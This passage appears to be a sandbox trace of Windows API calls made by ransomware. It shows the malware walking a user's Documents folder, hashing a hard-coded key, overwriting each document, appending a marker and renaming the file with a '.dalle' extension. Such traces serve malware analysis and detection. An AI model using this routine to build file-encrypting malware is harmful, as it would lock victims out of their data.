lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.197] CloseHandle (hObject=0x618) returned 1 [0120.198] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.198] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x880) returned 0x3096780 [0120.198] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.198] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5hGto9u9m313.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5hgto9u9m313.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5hGto9u9m313.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\5hgto9u9m313.docx.dalle")) returned 1 [0120.199] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.199] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.199] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.200] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8eb03d0, ftCreationTime.dwHighDateTime=0x1d4ef34, ftLastAccessTime.dwLowDateTime=0x256945a0, ftLastAccessTime.dwHighDateTime=0x1d4bc62, ftLastWriteTime.dwLowDateTime=0x256945a0, ftLastWriteTime.dwHighDateTime=0x1d4bc62, nFileSizeHigh=0x0, nFileSizeLow=0xaed6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACBE_lrqSEFAf.pptx", cAlternateFileName="ACBE_L~1.PPT")) returned 1 [0120.200] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.200] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.200] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.200] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ACBE_lrqSEFAf.pptx") returned=".pptx" [0120.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ACBE_lrqSEFAf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acbe_lrqsefaf.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.200] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=44758) returned 1 [0120.200] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.202] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaeb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.202] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.203] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.203] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.203] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.203] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xaed6, lpOverlapped=0x0) returned 1 [0120.204] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.204] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.204] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.204] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.204] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.205] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.205] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.205] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.205] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.205] GetLastError () returned 0x0 [0120.205] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.205] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.205] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.205] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xaee0) returned 0x3096780 [0120.205] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.205] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.205] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xaed1, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xaed1, lpOverlapped=0x0) returned 1 [0120.206] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.206] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xaed6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.206] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.206] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.206] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.206] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.206] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.206] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.206] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.206] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.206] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.206] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.206] CloseHandle (hObject=0x618) returned 1 [0120.207] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.207] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.207] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.207] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ACBE_lrqSEFAf.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acbe_lrqsefaf.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\ACBE_lrqSEFAf.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\acbe_lrqsefaf.pptx.dalle")) returned 1 [0120.208] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.208] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.209] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.209] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6533ed80, ftCreationTime.dwHighDateTime=0x1d4b59a, ftLastAccessTime.dwLowDateTime=0x2672bea0, ftLastAccessTime.dwHighDateTime=0x1d51670, ftLastWriteTime.dwLowDateTime=0x2672bea0, ftLastWriteTime.dwHighDateTime=0x1d51670, nFileSizeHigh=0x0, nFileSizeLow=0xe873, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BNK6dBch57n5aoP0t.xlsx", cAlternateFileName="BNK6DB~1.XLS")) returned 1 [0120.209] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.209] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.209] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.209] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNK6dBch57n5aoP0t.xlsx") returned=".xlsx" [0120.209] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNK6dBch57n5aoP0t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnk6dbch57n5aop0t.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.209] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=59507) returned 1 [0120.209] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.211] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe84d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.211] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.212] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.212] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.213] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.213] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe873, lpOverlapped=0x0) returned 1 [0120.213] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.213] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.213] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.213] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.213] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c10d8) returned 1 [0120.214] CryptCreateHash (in: hProv=0x6c10d8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.214] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.214] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.214] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.214] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.214] GetLastError () returned 0x0 [0120.214] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.214] CryptReleaseContext (hProv=0x6c10d8, dwFlags=0x0) returned 1 [0120.215] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.215] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe870) returned 0x3096780 [0120.215] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.215] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.215] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xe86e, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xe86e, lpOverlapped=0x0) returned 1 [0120.215] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.215] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.215] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.215] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.215] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.215] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.215] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0120.215] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f338e8 | out: hHeap=0x5e0000) returned 1 [0120.215] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0120.216] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.216] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.216] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.216] CloseHandle (hObject=0x618) returned 1 [0120.217] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.217] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0120.217] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0120.217] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNK6dBch57n5aoP0t.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnk6dbch57n5aop0t.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\BNK6dBch57n5aoP0t.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\bnk6dbch57n5aop0t.xlsx.dalle")) returned 1 [0120.217] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.217] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.218] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BZeNr_asZgOghC", cAlternateFileName="BZENR_~1")) returned 1 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018998 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xa8) returned 0x2f7e028 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f338e8 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023080 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x3023150 [0120.218] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a20 | out: hHeap=0x5e0000) returned 1 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c0d20 | out: hHeap=0x5e0000) returned 1 [0120.218] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30186c8 | out: hHeap=0x5e0000) returned 1 [0120.219] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x30186c8 [0120.219] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018998 | out: hHeap=0x5e0000) returned 1 [0120.219] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3018380 | out: hHeap=0x5e0000) returned 1 [0120.219] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0120.219] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.219] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.219] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.219] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini") returned=".ini" [0120.219] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f61740 | out: hHeap=0x5e0000) returned 1 [0120.219] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f718170, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x7dda1680, ftLastAccessTime.dwHighDateTime=0x1d4d2c2, ftLastWriteTime.dwLowDateTime=0x7dda1680, ftLastWriteTime.dwHighDateTime=0x1d4d2c2, nFileSizeHigh=0x0, nFileSizeLow=0xe6d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GkId5.pdf", cAlternateFileName="")) returned 1 [0120.219] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.219] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x8e) returned 0x2f61740 [0120.219] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0120.219] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkId5.pdf") returned=".pdf" [0120.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GkId5.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gkid5.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.220] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=59089) returned 1 [0120.220] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.222] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe6ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.222] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.224] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0120.224] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.224] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.225] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xe6d1, lpOverlapped=0x0) returned 1 [0120.225] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.225] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0120.225] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.225] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.225] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.226] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.226] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.226] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.226] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0120.226] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.226] GetLastError () returned 0x0 [0120.226] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.226] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.226] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.226] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xe6d0) returned 0x3096780 [0120.227] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0120.227] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0120.227] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0xe6cc, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0xe6cc, lpOverlapped=0x0) returned 1 [0120.227] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0120.227] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xe6d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.227] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33950 [0120.227] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0120.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0120.227] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0120.227] HeapFree (in: 